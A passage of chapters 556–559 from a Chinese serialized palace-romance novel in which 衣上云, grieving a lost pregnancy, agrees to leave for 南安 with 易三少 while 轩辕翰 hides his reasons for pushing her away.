拓跋宏深深地吸了口气,他知道拓跋泽永远都不会承认是他亲手杀了他们的父亲。 于是隐忍着说:“好,我可以一辈子都不再提父皇的死,但是,我希望你不要再伤害云儿了。事到如今,她的孩子已经没了,她已经够可怜了。” 即便付出了亡国如此之大的代价,拓跋宏依旧只沉浸在儿女情长之中,沉默了半晌,拓跋泽忽然开口沉声命令道:“滚出去!” 拓跋宏却还想继续求情:“皇兄……” 怎料拓跋泽终是忍不住发怒了起来,朝其扬声喝道:“滚……” 拓跋宏最后只得无奈地退了出来。 拓跋宏前脚刚离开,又有一人推开门走了进去。 拓跋泽并没有抬起头来看来人,依旧朝其怒声道:“我让你滚没听到吗?” 第五百五十六章:对你没兴趣 门外。 远远地听闻到打斗声闻声回来,却意外听到了屋内激烈的争吵声的陆天骄。 直到此时,她方才明白过来,原来拓跋泽要傅郎中急匆匆赶着来救治的人竟是衣上云。 这几日难怪总不见他的踪影,原是瞒天过海地单独和她在这里。 回忆起方才所听到的,即便已经知道了衣上云已然流产的事实。 可陆天骄心里依旧嫉妒地发狂。 她咬牙切齿狠狠地道:“这个贱人,她竟然真的怀了翰哥哥的骨肉。翰哥哥是这个世上何等尊贵的身份,他竟会和她……” 一想到自己心心念念的人竟与那样的女人真的发生了那种关系,她怎么都不愿相信:“她怎配,怎配……” 可一切却是事实,顿时间,她握紧了拳头,自顾自地想:“一定是那贱人不知廉耻,使了什么见不得人的狐媚手段,勾引了翰哥哥才会致此,真是太不要脸了,活该她会有今天。” 一念至此,她恨的直牙痒痒,恨不得立刻冲进去将衣上云揪出来亲手撕个粉碎。 实在难以忍受心头的怒火,看着拓跋宏前脚刚刚离开,陆天骄终于一把大力地推开了门。 “哐当”一声。 随即,便与拓跋泽呵斥拓跋宏所发出的声音撞在了一起。 “那个贱人现在哪儿?” “我让你滚没听到吗?” 闻声,拓跋泽忽地抬起头来,着实被此刻突然出现在眼前的陆天骄惊了一下:“你怎么会在这里?” 陆天骄缓缓上前了两步,环视了一眼四周,极力隐忍着心头的怒火,却也没有好气地道:“难怪大皇子这几日总是神出鬼没的不见人,我和姐姐一直还琢磨不透,原来秘密在这里。” 怎料拓跋泽亦转瞬之间便对她爱理不理,一副半点儿也不屑一顾的样子,只淡淡地嘴角微微上扬了一些,并没有回答她。 且还坐了下来,气定神闲地自斟自饮了起来。 陆天骄一见他如此这般傲慢的姿态,回想起方才在门外所听到的话。 便再也沉不住气了地道:“你究竟背着我们在干什么?不是说好了这次一定要联手的吗?为什么你已经捉住了那个贱人,却不告诉我们这个消息?” 话刚说完,便气势汹汹地挪步朝着屋内四处寻了去,口中还直恨恨道:“衣上云,你这个贱货,还不快给我滚出来。” “你还真是天生一副贱骨头,好不要脸呀!一个被我哥退过婚的女人,竟然胆敢使出狐媚法子来勾引翰哥哥,看我今天不扒了你的皮,抽了你的筋。” …… 可当她前前后后,左左右右搜遍了茶室的每一个角落后,却是惊诧地一无所获,什么都没有发现。 于是,她复又回到了拓跋泽的面前,气急败坏地朝其质问:“那个贱人人呢?你把她藏到哪儿去了?” 她的眼里充满了怒火,恨不得立马亲自处置了她。 见拓跋泽依旧不说话,竟再次朝其叫嚣起来:“那个贱人呢,她在哪里?我要杀了她,今天我一定要拆了她的那副贱骨头,让她灰飞烟灭,此生再也不能兴风作浪。” 就在这时。 拓跋泽竟忽地起身来,伸手一把紧紧地掐住了陆天骄的脖颈,将她整个人迅速抵到了其身后的一面墙上牢牢束缚住,使其不得动弹半分。 陆天骄直觉自己瞬间不能呼吸,她拼命地想要两手掰开束缚自己的那只大手,却是怎么都不能撼动其分毫。 “放……放……” 须臾之间,便连一句极其简单完整的话都说不出了。 拓跋泽的脸色也忽然变得极其狰狞起来。 他凑到陆天骄的耳朵旁,说:“是谁给你的胆子,可以对本皇子如此说话的?” “放……放……开……放……”陆天骄依旧在其手中拼命挣扎着。 拓跋泽警告其:“你想要那个丫头的命,本皇子同意了吗?” 直到眼睁睁地看着陆天骄就快要奄奄一息时,拓跋泽倏地松开了手。 “扑通”一声,陆天骄便顺着墙壁无力地跌落在地上。 宛若灵魂在鬼门关游走了一圈,此刻,她只顾着如鱼得水般地大口喘着气。 从小到大,她总是高高在上,哪里被人这般待过。 她惊魂未定,断断续续地道:“疯……疯……疯子……你就是个疯子……” 见此,拓跋泽缓缓蹲下,勾起唇角,捉起她的一缕头发来,轻佻说道:“疯子……本皇子若真是疯子,你西秦学院大小姐的名节怕是早就没了……” 闻声,陆天骄忽觉惊怕地看着他的眼睛,问:“拓跋泽,你想做什么?” 拓跋泽低头扫了一眼她的身子,冷哼了一声,道:“放心,本皇子对你一点儿兴趣都没有!但是,追随本皇子多年的那些出生入死的将士们,他们就不一定了!” 陆天骄遂瞪大了眼睛,惊声:“拓跋泽,你敢!” 拓跋泽毫不犹豫,亦对视着她的眼睛道:“本皇子敢不敢?你大可试试……” 看着拓跋泽此时似是认真极了的眼神,陆天骄心里不禁真的害怕了起来。 “你就不怕我将此事告知东宁公主,取消与你的合作?”陆天骄低声道。 “哈哈哈……”岂料拓跋泽竟忽地松开手立起身仰天大笑起来。 却又猛地收起笑容,回头俯身下去狠狠地瞪着她的眼睛道:“怕?天大地大,本皇子何曾怕过谁?” 霎时间,俩人就这样四目相对在一起。 最后,拓跋泽警告她一句:“记住,没有本皇子的允许,你若再敢打那个丫头的主意,你一定会后悔的……” 说完,便提步离开…… 望着其离去的背影,陆天骄愤愤地道:“贱人,我绝不会放过你的,绝不会……” 是夜。 城西衣府已是里里外外张灯结彩,挂满了红绸,一片好不喜庆之色。 此时,到处一片灯火通明。 家主衣上坤心神不宁,在花厅里一边叹气,一边不停地来回踱步着。 所有人齐聚一堂,都从未如此期待过衣上云的消息。 接连这几日下来,因为无比担心衣上云的安危,年氏很多时候都是一个人六神无主,静静地坐在那里悄悄抹泪。 只要一看到天空飘起雨来,她便总会回想起衣上云大雨之夜的那次离家。 忽然,她再次哭叹了一声:“我苦命的孩子,你到底在哪儿呀?” “唉……”听到她几日以来说了无数遍的这句话,衣上坤便也发出一声无奈极了的长叹来。 然令他更加担忧恐惧的,是即将到来的大婚之日,如果衣上云再不现身,这抗旨之罪,雷霆之怒,必是整个衣府都要跟着遭殃了。 “咚咚咚” 寂静的夜里,终于传出来一阵叩门声。 衣上坤心里一惊,数日紧皱的眉头瞬间终于得以舒展开些许。 一旁的小厮着急地说:“一定是小姐回来了,小的这就去开门迎接!” 所有人都以为是衣上云回来了,皆露出满脸喜色。 “等等,老夫与你一道!”衣上坤再也按耐不住内心的焦急,匆匆与家里的小厮一道去开门迎接。 却是顿时间,被眼前的来人惊呆了。 衣上坤愣了一下,道:“程将军,这么晚了,你怎么来了?” 顿时间回过神来,又忙道:“将军快请进……” 程良伸出一手来婉拒:“不必了!” 衣上坤迟疑之间,忽然猜想着询问:“可是王府已经寻回了小女……” 对于这件事,程良显然一路至今都有些不知该如何开口,尤其是看到了此刻眼前的这片喜庆氛围后。 见其面露难色,衣上坤又道:“云儿她现在王府,对不对?那她的身子……” 只其着实着急,程良终于开了口,宽慰道:“衣药师放心,衣姑娘已经找到了,她现在……已无大碍了。” “上天保佑,没事就好,没事就好。”衣上坤听了,终于长长地松了口气,向天祷告。 随后而来在身后的一众家眷也都跟着紧张的表情瞬间舒展了许多。 纷纷道:“真是谢天谢地,谢天谢地。” 紧接着,衣上坤又问:“敢问程将军,小女何时能归家?大婚在即,时间紧迫,小女也是时候该准备了。” 闻言,程良凝眉,心里道:“是啊,这原本是大家都期待已久的喜事,可现在……” 迟疑了片刻,程良道:“衣药师,可否借一步说话?” 闻声,衣上坤心里顿了一下,继而紧随其后,到了一街角处。 程良方才开了口:“衣药师,你收拾收拾,携家眷明日后半夜出城吧!” 衣上坤瞬间大惊失色:“出城?离开西秦?” 程良颇为认真地点了点头,对其将其间缘由一一道来…… 听了程良所说,衣上坤问:“所以……这是秦王殿下的意思?” 程良没有说话。 衣上坤迷茫不已:“可离开了西秦,天大地大,老夫又该去往何处?” 继而忽然在心里胡思乱想了起来,像是忽然想到了什么,顿时着急地问:“程将军,你实话告诉老夫,该不会是小女出什么事了吧?” 程良道:“衣药师放心,衣姑娘到时候会与贵府一同离开……” 尽管自己的仕途尚还未得以实现,然即便是在宫里苦苦挣扎了半生。对这一切,衣上坤却早已付诸了自己所有感情,对此有太多的不舍。 虽然一开始他心里便清楚,只要与秦王轩辕翰有所沾染,他便定会影响衣府的存亡,却怎么都没想到最后会是这样的结果。 可他还是再次尝试着问了句:“一定非得离开吗?” 程良心里也不好受,最后只点了点头。 衣上坤思虑许久,最后拱手朝其恋恋不舍地道:“老夫谨遵秦王殿下旨意。” 程良向其交代好一切,最后亦朝其抱拳道:“衣药师,保重!” 衣上坤道:“将军,保重!” 程良继而转身上马离开。 衣上坤望着程良离去的背影,露出满脸的忧郁与担心,口中自言自语:“这次,看来真的要变天了。” 转身,衣上坤拖着从未如此疲惫的身子落寞极了地回到府里。 到了花厅,他缓缓伸手过去扯下了悬挂在正中墙上的那块匾额上的红绸喜帐…… 第五百五十七章:她答应了 被易三少带回到百草谷后,衣上云得到了其尤为精心的照顾。 望着她终于渐渐红润起来的脸色,易三少心疼极了。 “丫头,我终于找到你了。这些日子,你都经历了些什么呀,都快不成人形了。” 一缕阳光透过薄薄的云雾笼罩一泄而下,驱散了漫漫长夜所有的黑暗与孤寂。 百草谷,到处一片宁静。 只有早起觅食的鸟儿,在树林里叽叽喳喳地忙碌着。 这一夜,衣上云睡的极其安稳。 她似乎自己也已经记不清楚到底有多久没有这么好好睡一觉了。 早上一睁开眼,便看见守在床前彻夜未曾敢离开过半步的易三少沉睡的脸,他应该是实在太困了。 眼前依旧还是初见时,那双世间少有迷人的桃花眼和俊朗潇洒的脸孔。 据说,拥有这双眼睛的人具有勾人魂魄的能力。 她多想如果他也可以勾走自己的魂魄,或许,自己也就不会那么难过了吧! 可却偏偏…… 她这才意识到,仿佛过去的每一次危难时刻,都是这个男人无怨无悔心甘情愿地默默守护在自己身边。 却也只有在他的面前,她可以什么都不必有所顾忌,安心地做最真实的自己。 一念至此,衣上云只觉自己抱歉极了地朝其喃喃低语:“对不起……” 说着,眼泪亦一点儿也不听使唤地随之就这么溢出了眼眶。 生怕吵醒了他,衣上云忙一把抹掉了泪水,小心翼翼地下床来,替其披上了一件厚厚的毯子。 之后方才踮起脚尖来,悄悄走出了门,替其将门轻轻掩上。 出了门一路往西。 这里的小道花枝蔽空、花瓣覆地,漫步其中,让人陶醉不已。 颜色由白到紫,五颜六色、缤纷灿烂、深浅不一,满天姹紫嫣红,如烟似霞。 她登上约8米多高的观景台,眼前各种色彩,层层叠叠,一览无余。 远山含黛,层云弥漫,置身田野之中,躬行陇亩之间,天高地宽,顿觉心胸开阔。实有种天高任鸟飞,海阔凭鱼跃的放飞之感。又有归隐田园,吟啸山林的愉悦心情。 以观景台为中心,周围层层梯田里,百余种药草花卉正在盛开怒放。于阳光下光彩夺目,置身其中,如诗如画。 此刻,看着眼前这片无边无际自然生长的药草,她忽然觉得自己忘却了所有烦恼,格外的心安。 禁不住轻轻闭起了眼睛,用力地呼吸,嗅了嗅这空气中浓浓的药草香气。 仿佛仅仅这空气里弥漫着的味道,便足以治愈自己。 望着眼前一览无余的药谷景色,她想象着:风吹枝叶,雨落屋檐,一地落红,直到青山白了头。一年又一年,如此四季更迭,岁岁年年,远离尘嚣,不皆乃她毕生心之所向往吗?! 一山清幽,置身于其中,心亦随之彻底安静了下来。 这一刻,她是多么贪婪的想要一世就留在此处,过这样简单平静的田园生活。 曾经的山盟海誓到底算什么,什么永宁公主,什么西秦守护者后人,衣府嫡女又怎样,什么使之命然…… 这天下及一切,她都不想再理会。 她只知道,自己也是一个有血有肉的人而已,她也有自己想要的人生,想过的生活,可是…… 一念至此,她忽然又缓缓皱起眉头来,满腹落寞,捂着心口自言自语道:“可为什么,为什么心里又会觉得这般难受呢……” 就在这时,她顿觉察到身后来人极轻的脚步声,遂将目光朝后方斜了一下。 余光一扫到来人正是易三少,衣上云便转而将嘴角轻轻上扬出一道浅浅的弧线,转身问了句道:“你醒啦?” 易三少对其笑了笑,眼里极尽温柔。 遂一边上前将手里的一件天青色烟雨斗篷替其披上,一边问:“什么时候醒的,怎么不叫醒我?” 衣上云致谢道:“多谢三少的悉心照顾,昨夜若不是你,我怕是……” 想起昨夜自己迷迷糊糊中,看见易三少为自己忙前忙后,她便很是过意不去。 说着说着,顿了顿,又道:“方才不想打扰你,想让你多睡会儿。” 易三少却盯视着她的眼睛,认真地说:“我的傻丫头,你难道还不明白,只要都是为了你,怎么能说是打扰呢?不管为你做什么,我都甘之如饴。” 意识到易三少的眼里再次泛起那异样的眼神,衣上云忙开口想要解释说:“三少,我……” 岂料话刚一开口,便被易三少伸出的两根指头附在其唇边将其其余的话全都挡了回去:“嘘……” 就这样,俩人目光相对视了一会儿。 过了会儿,易三少忽然对其说:“丫头,跟我回南安吧!” 闻之,衣上云朝其瞪大了眼睛,惊诧万分。 易三少继续道:“不管曾经发生过什么,我发誓,往后余生,我都会好好照顾你,不会让你再受到任何伤害,我实在不忍心看到你现在的样子。” 不知为什么,这一刻,衣上云竟真的被其这段话感动了。 看到衣上云瞪大的瞳孔,易三少紧忙指天发誓说:“你放心,我只是想照顾你,保护你,绝对不会逼迫你什么。你不愿……我不会。” 其实如同过去的很多时候一样,易三少说这句话的时候,心里早已经料到会被她拒绝。 因为即便事已至此,他依然能够感受到衣上云的心里依旧还是深深地爱着轩辕翰。 然沉默了半晌,仿佛连同俩人身旁的空气亦停止流动了一般。 岂料衣上云竟最后乍出了一句:“好……” 这一刻,易三少简直不敢相信自己的耳朵,再次向其确认:“你说什么?” 衣上云亦整理了些许自己的情绪,说:“我说……我愿意跟你回南安国去。” 这一刻,不知自己等了多久,他甚至以为,这辈子,他也不会等到。 一时间,他忽然高兴的都不知该说些什么。 只激动不已地一把紧紧捉住了衣上云的肩头,朝其一次又一次地确认。 “丫头你同意了?!” “你真的同意了?!” “这次你怎么会……” “太好了,真是太好了……” 说着,他忽然松开手来对着眼前的山峦叠嶂,江水瀑布,鸟兽虫鱼,大地万物,大声地呐喊起来:“你们都听到了吗,丫头她答应了,她同意与我一起回国了……” 衣上云看着易三少此刻高兴的如同一个孩子般的背影,不知为何,忽然泪湿了眼眶。 目光亦悠长地望向了远方,心里默默道:“或许真的是时候该离开了,从此山水一程,不复再相逢。此生,再也不见……不欠……亦不念……” “事不宜迟,那我们明日清晨便启程回南安,可好?”易三少生怕夜长梦多,遂建议道。 衣上云点了点头。 犹犹豫豫中,又说:“三少……离开前,让我最后再见他一面,好吗?” 看到易三少眼里油然而生的迟疑眼神,衣上云解释说:“放心,我与他,此生已再无可能。只是……有些话,我一定要听他亲口对我我。” 看她似是极为坚定的眼神,易三少想了想,答应说:“好吧,我来安排。” 这时,衣上云迟疑了许久,终还是开了口:“还有一事……” 易三少望向她的脸,问:“何事?” 衣上云道:“三少可否帮我找一个人?” “找一个人?” 易三少一边重复着她的话,心里默想了一会儿,问:“你要找谁?” 衣上云顿了顿,说:“烦请三少可否帮我找一个叫魏明轩的人?” “魏明轩?那是谁?”易三少问。 “我就是也想知道魏明轩到底是谁?所以才要找他,不知为何,他总是出现在我的梦里,可是梦醒后,我却只记得他的名字。甚至……就连他的样子亦是模糊不清的。” 衣上云也着实苦恼无奈极了地道。 “你放心,天涯海角,我一定会帮你找到这个人。” 易三少隐隐觉得这个人竟如此让衣上云魂牵梦绕,虽然嫉妒,但想此人一定对衣上云很重要,便信誓旦旦地答应。 “谢谢你,三少……”至此,衣上云终于收回了目光,再次望向远方。 一阵风吹过,易三少温柔关切地道:“起风了,当心身子,回去吧……” “嗯。”衣上云默默道。 安置好衣上云,易三少刚出门小心翼翼地将门替其掩上。 婢女紫苏朝其疾步上前来行礼,道:“三少。” 易三少却只瞪了她一眼。 直到下楼远远地离开逍遥阁,走到了一条静静的湖边,方才止住了步。 紫苏一路尾随至此,虽是心里实在不情愿,却还是朝其致歉道:“对不起,三少。” 易三少咬了咬牙,背对着她说:“且念你追随我多年,这次我便不与你计较,以后你若再犯,我定不留你。” “是,紫苏明白了。”紫苏答。 易三少这才问她:“说吧,找我何事?” 紫苏禀报:“三少,秦王府来人了,说要见三少。” “秦王府?”易三少闻之顿了一下。 稍加思索,半眯起眼睛来说道:“来的还正是时候……” 第五百五十八章:去吧,她在等你…… 衣上云受到如此这般的伤害,易三少一听轩辕翰竟还敢自己送上门来。 如此猖狂至极,他的心头顿时涌起万丈怒火,不及细问便丢下紫苏独自疾步朝来人过去。 “三少,三少……”紫苏的声音很快便消失在其耳畔。 远远地,当一看到正面对百草谷中平静的湖面静立着的男子背影,易三少便咬牙切齿,怒发冲冠地冲上前朝其发泄起来。 “轩辕翰,你这个衣冠禽兽,枉费云儿对你一片深情,你怎可如此辜负于她。竟连自己的亲骨肉都不放过。你就不怕遭天谴吗……” 闻声,那人一个急转身,继而礼貌地朝其抱拳行礼道:“三少。” 见来人一袭便装,竟只不过是轩辕翰的副将程良,易三少接下来的话顿时戛然而止。 转而眯了眯眼睛,朝其不屑一顾地道:“怎么是你?” 程良直起身来道:“是殿下命我来请三少帮个忙的。” 易三少渐渐双手附后,挑了挑那双细长的桃花眼。 俯身过去凑到程良的眼前,讥讽道:“我没听错吧?!他请我帮忙?那为何他自己不来?却派一条狗过来,是瞧不上我这药谷,还是……” 顿了顿,忽然厉声高喝了起来道:“他知道自己做错了事情,怕我易三少取了他的项上人头!” 虽然易三少的话极具挑衅,可眼下局势已然到了这个节骨眼上,程良为了完成主子所交代的任务,不得不忍气吞声。 于是继续故作和气道:“并非三少所想的那样,我家殿下他……” 岂料程良话再次刚一开口,易三少竟忽地直起身来背对着他,朝其狠狠怒喝了一声道:“滚……” 终于,程良忍不住了,提高声音:“易三少,我已经忍你很久了,你不要敬酒不吃吃罚酒……” 然易三少压根儿就没打算听他的只字片语,只依旧沉声着喝道:“滚……” 此情此景,程良不知自己究竟该何去何从? 就在左右为难时,易三少道:“秦王府的人,根本就不配与我易三少对话,至于轩辕翰……他更不配。自始至终,我所做的一切,都只不过是为了丫头而已。” 程良正在暗自琢磨,易三少又道:“回去告诉你家主子,无论什么事,让他亲自来寻我!” 说完,易三少竟兀自甩了甩衣袖,阔步扬长离去。 程良气的牙齿直打颤,对其背影怒吼道:“易三少,你……” 可最后却又默默收了声,事已至此,他又还能说些什么呢?! 与此同时,转身离去的易三少亦是心事重重。 看来,在杜鹃谷时,轩辕翰实际上也已经找到了衣上云,且还在自己之前。 他料到了自己会从杜鹃谷带回衣上云,所以才会派人来此寻他。 可轩辕翰为何寻到了丫头,却并未现身在她的面前,更未将其带回秦王府。 难道仅仅只因为是自己亲自安排人给衣上云服下了落子汤么? 他真的错以为衣上云腹中的胎儿不是他的? 既然如此,那他又为何要派人来此呢? 想着想着,似乎,他忽然料到了轩辕翰要与他说的所谓请他帮忙的事情有些严重。 可无论如何,既然衣上云已经答应了自己,愿意随他离开,其他的,似乎就都不那么重要了。 如今她只坚持在离开前最后见他一面,如此一来,他倒也省心省事,无需派人再去秦王府走一趟了。 天知道,如果可以,他是多么希望立刻带着衣上云启程踏上回国的路。可一想,让他们对过去做个彻底的告别也好。 只是他不明白……在衣上云的心里,到底是怎么想的…… 尽管轩辕翰的所有安排已经极为小心翼翼,却还是被璟帝派去的人细心察觉到了。 午后,衣府门前一街角,两个身着便装的男子,一胖一瘦,鬼鬼祟祟地聚首在一起。 扫了扫周围并无旁人,便窃窃私语起来。 “怎么样?消息怎么说?”其中那名较瘦一些,皮肤黝黑的男子先开口小心翼翼地问。 另一刚回宫打探消息回来的较胖男子道:“皇上有令,只要衣府等人一出西秦的边境,一律就地正法,杀无赦,一个不留。” 黑瘦男子听了这个消息,顿觉全身一阵激凌,稍一思索,接着又问:“那永宁公主呢,难道也一起……” 较胖男子不耐烦地瞥了他一眼。 说道:“宫里收到消息,南安太子会带衣府众人秘密离开西秦。你想想,若是到时候永宁公主死在了南安国的境土上,会怎样?” 黑瘦男子想了想,疑惑地摇了摇头。 较胖男子白了他一眼,继续道:“永宁公主是东宁国君生前亲定的东宁国未来继承人。继承人被杀,到时东宁国必定起兵向其讨伐。到时候,鹬蚌相争,西秦便可坐享渔翁之利。届时,皇上安排在秦王所带去的兵力里我们的人,再乘机倒戈杀了秦王,让人误以为秦王是战死沙场,皇上便可不费吹灰之力统一整个灵空。” “皇上真是好谋略呀!”黑瘦男子霎时茅塞顿开。 就在这时。 忽闻“嘎吱”一声响,衣府的门忽然被人从里面打开,两人倏地收了声,惊慌地躲避起来。 事不宜迟,程良一回到秦王府,得知被易三少拒客,轩辕翰即刻快马加鞭亲自赶到了百草谷。 怎料这一次见面时,易三少竟并没有对其动手,心情也似不那么激动了。 只是在听了轩辕翰发自肺腑的一席话之后,一时间里怔在原地,竟久久没有反应过来。 他万万没想到,事实竟然会是这样! 可即便老天如此待衣上云不公,让她这辈子都不能有儿女福分,可易三少也依旧不在乎。 待到终于回过神后,开口问道:“你确定不再爱丫头了吗?” 爱与不爱,事到如今,自己还有选择吗?轩辕翰心里的苦没有人能明白。 “那我告诉你,我决定了。”易三少忽然严肃地说。 “决定什么?”轩辕翰问。 易三少看着轩辕翰的眼睛,认真地说:“我决定要用我的全部来爱丫头,不用你说,我也要带丫头回南安,丫头她也已经答应了。我会一辈子照顾她,疼惜她,守护她。” 尽管心里已早有准备,轩辕翰此刻依旧是一副被其坚定惊呆了的表情。 易三少见了,悠悠道:“你不必惊讶。你应该知道我对丫头一直以来的感情,可是过去,我都为了丫头愿意退让,真心去祝福你们。” 顿了顿,接着道:“可我现在怀疑,我的退让到底值不值得。” 此时,轩辕翰竟觉得自己对于易三少的质问无言以对。 易三少却是继续道:“如果你不爱她了,我希望你也能祝福我们,就像从前我也祝福你们一样。” “这些你根本没有必要告诉本王。”轩辕翰极力掩饰着自己心里的情绪,道。 易三少道:“不管你觉得有没有必要,我觉得都应该告诉你一声。” 见他明显难掩心中无尽的不甘与无奈,易三少转而对其说道:“去吧,她在等你……” 轩辕翰落寞地转身。 晨钟暮鼓,明月孤云,华灯初上。 多少个日日夜夜的担心与思念,终于,轩辕翰再次看到了衣上云。 远远地,站在门口一看到衣上云原本就瘦弱不堪的身影明显愈加地清瘦了许多。 轩辕翰心疼至极,遂驻足停下,就这样怔怔地望着其消瘦的背影。 他多么希望,时间就这样永远定格在这一刻也是好的。 他没有任何奢望,也不敢奢望。 他只要这样远远地,静静地看着她的背影,她也还好端端平安健康地站在自己的眼前,便好。 正在屋内摆弄着案上的几盆药草的衣上云,察觉到身后的来人后,亦是继续着手里的动作,并没有停下来开口说话。 而是同样静静地感受着有他在身边时的不一样的却又是自己那般熟悉的味道,竟独自默默地流起了泪来。 事到如今,她对他的爱、恨、情、仇,早已都深深纠缠交织在一起,叫她如何分得清?又如何断,如何舍,如何离开? 待到心绪平复了些许下来,终是衣上云先开了口:“你来了?” 闻声,轩辕翰只觉心里咯噔一下,顿回过神来。 衣上云悄悄抹了抹眼泪,道:“外面风大,秦王殿下进来坐会儿吧!” 轩辕翰提步,跨进门来。 刚一落座,衣上云便亲自为其斟了一盏茶递上。 轩辕翰接过,犹犹豫豫地问:“你的身子……可已经都好些了?” 闻此,衣上云顿时愣住。 稍作迟疑后,平静地亦落座在一旁,答道:“托殿下的福,我很好。” 轩辕翰见她言语之间已然对自己如此生分起来,便低头抿了一口手中的茶汤。 又见她坐在窗前正对着风口,转而起身过去替其关起窗来。 继续关切道:“眼下虽已近入夏,你的身子尚未恢复,还是不要贪凉坐在风口处,务必当心自己的身子。” 衣上云一直强忍着让自己的脸色平静如水,没有一丝情绪波动。 轩辕翰也是自己一肚子的话,此刻却无法说出口来。 昔日里,曾经那般亲密的两个人,就这样一起静静地坐着。 沉默了许久,衣上云忽然开了口:“秦王殿下就没有什么要向我说的吗?” 第五百五十九章:以后……请对她好点儿 “本王……” 多日以来,明明对她满心满腹的牵肠挂肚皆就在嘴边,可轩辕翰犹豫了半天,吞吞吐吐最后却只挤出一句世间最苍白而又无力的三个字来。 “对不起。” 同样几日以来,衣上云心里明明恨的牙直痒痒,可当她此刻真的见到他的人时,不明白自己的眼泪为何会如此不听自己的使唤。 望着他一如既往冰冷的脸孔,不知何时早已噙满眼眶的泪水在听到这三个字后瞬间滚落脸庞。 却还苦笑着,声音颤颤地重复他的话道:“对不起?秦王殿下可是做错了什么,为何要道歉?” “错……或许,所有一开始便就错了。”轩辕翰心里默默地道。 即便此刻,面对着这个世上自己最在乎的人,轩辕翰依旧丝毫没有想要替自己分辨一二的意思。 一室寂静,衣上云静静地在等着他亲口给他一个解释。 或许,即便此时,在她的心底深处,冥冥之中还对他尚且存有一丝希望和等待。 可轩辕翰又该如何开口呢? 一想到她这辈子都不可能有自己的孩子,往后没有他在身边,她的余生无依无靠,要如何度过…… 一想到在璟帝赐婚后,自己明明已经知道结局,却还是跟着她一起做了一场美梦…… 一想到俩人之间从相识开始,到现在所发生的点点滴滴…… 一切的一切,明明都是那样的舍不得,可是…… 事到如今,他唯恨自己,原本以为可以控制所有的事情,可又怎么会发展到现在如此境地? 就在他沉思之际,耳畔忽然传来一阵低低的声音:“是不是你让人做的?” 闻声,轩辕翰忽对着手中的茶盏怔住,心跳也随之顿了一下。 岂料衣上云终于再也压抑不住许久以来好几次差点儿即将崩溃的情绪,忽然提高了声音,吼了一声质问他:“我问是不是你让人做的?” 一个人,当她满心欢喜,以为自己即将拥有满满的幸福,转眼却又重重跌落至一无所有是什么样的感觉?大概就是她现在这样的生无可恋吧。 她只觉自己的心都碎了,似是快要不能呼吸,一只手紧紧地攥住自己的胸口:“你知不知道,那是个已然初具人形的男婴。” 闻声,轩辕翰顿抬起头来看着她的眼睛,惊呆了。 “男孩?”此刻,轩辕翰的心也要碎了,他紧紧握起的拳头,却是除了他自己,没有任何人察觉。 衣上云摇了摇头,道:“可怜的孩子,我与他缘份一场,竟然都未曾能见他一面。就算他不是你的孩子,你也不能这样对他,你不能这样对他,不能……” 见她力竭声嘶,伤心欲绝,情绪已然激动不已,轩辕翰怕她伤到自己,终于再也按讷不住,急忙起身过去在其身旁按住她的肩头。 咬了咬牙,道:“对不起,这一切都是本王命人做的。可你的身子要紧……” 话未说完,衣上云忽然冷冷地打断了他:“为什么?” “为什么要这样做?”衣上云已然泪流满面。 轩辕翰没有说话。 “莫非你真以为这个孩子是三少的?”见他不说话,衣上云紧皱眉头,揣测着问。 这时,轩辕翰缓缓收回手去,深深地吸了口气:“是。你与本王大婚在即,本王希望你能干干净净的进秦王府的门。” 衣上云一边流泪,一边摇着头不停地道:“我不信,我不信。你明明知道,那个孩子,他是你的,是你的,从始至终只有你。你为何如此狠心对他……” 轩辕翰双手附后,素声道:“事关我轩辕皇室血统,本王自是要慎之又慎。” 这一刻,衣上云忽然觉得面前的这个男人是那样的陌生,仿佛自己从来都不认识一般。 可她又是那样地确定,这个男人在几日前,还对自己是那般的好,他明明还是世间那个最好的他。 也正是因为他一次又一次的强烈攻击,她才终于下定了决心放下所有防备和犹豫去坦然接受这个赐婚。 可现在,这一切到底是怎么了? 仿佛只是一场梦…… 轩辕翰没有再继续说话,默默地落座回去灌下一盏茶。 “大婚……你我……”衣上云说着,最后紧紧地闭起眼睛来。 忽然间,只闻:“啪”的一声。 衣上云竟将重重的一记巴掌甩落在了轩辕翰的脸上。 “轩辕翰,你就是个骗子。这一巴掌是我替去了的孩子打的。原本我还在为他的离去痛心难过,可现在我反倒庆幸,因为你根本就不配做他的父亲,我恨你,这辈子都不会原谅你……” 衣上云说完,便提起裙子,抹着泪拔腿跑了出去。 望着其最后离开的背影,轩辕翰只觉自己的心也随之死了…… “呜呜呜……” 静静的小湖边,衣上云抱着膝盖埋头坐在地上伤心地哭着,眼泪一颗一颗的落入脚下的湖水里。 不远处,轩辕翰与易三少并肩而立,遥望着她的背影。 天知道,此刻轩辕翰的心里有多苦多痛,多么不舍。 他隐忍着对易三少交待道:“从此以后,云儿,就交给你了。” 易三少看了看他的脸,心里突然有种说不出的感觉。 他忽然明白,或许轩辕翰才是这个世上最爱丫头的那个人。 看着轩辕翰眼中所流露出的不舍与无奈,易三少竟然第一次动摇了,道:“不如将真相告诉她,只要你不在乎丫头她不能给你……” 未及其将话说完,轩辕翰却坚定道:“不必了,带她走吧……” 易三少还想继续说些什么:“可是……” 轩辕翰将一只手拍在了易三少的肩上:“这次,本王已经让她彻底断了念想,以后……请对她好点儿。” 说完,便将那只手缓缓抽走,继而转身落寞离去。 看着轩辕翰离开后,易三少深吸了口气,迈步走到了衣上云的面前。 缓缓蹲身下去,摸着她的头,安慰其道:“丫头,不要难过了,你还有我,我会一直陪在你的身边,永远不离不弃。” 此时,衣上云彻底坍塌的内心世界里,实在需要一个依靠,她缓缓地抬起头来看了易三少一眼。 从始至终,只有眼前的这个人,他对自己的心都是那样的好,那样的真诚,那样的一如既往。 想着想着,便委屈极了地一头扎进了他宽阔温暖的怀抱里放声痛哭起来:“三少……” 百草谷外。 远远地,一看到轩辕翰走了出来,程良便飞步迎了上去:“殿下……” 此时,他并没有意识到轩辕翰正一手捂着胸口。 只自顾自地说着:“怎么样?易三少有没有为难殿下?殿下有没有见到衣姑娘?衣姑娘她可还好?” 走着走着,轩辕翰忽然喷出了一大口鲜血来,顿时染红了脚下的地面。 霎时间,轩辕翰只觉眼前忽然一片漆黑,两腿一软,便就倒了下去。 “殿下你这是怎么了?”程良赶忙伸手将其扶住。 在其耳边连连呼唤道:“殿下……殿下……” 云卷云舒。 翌日天刚一亮,程良便脚步匆匆地进到了明月轩里。 轩辕翰昏昏沉沉地一睁开双眼,便挣扎着一边起身,一边问:“衣府那边可有何动静?” 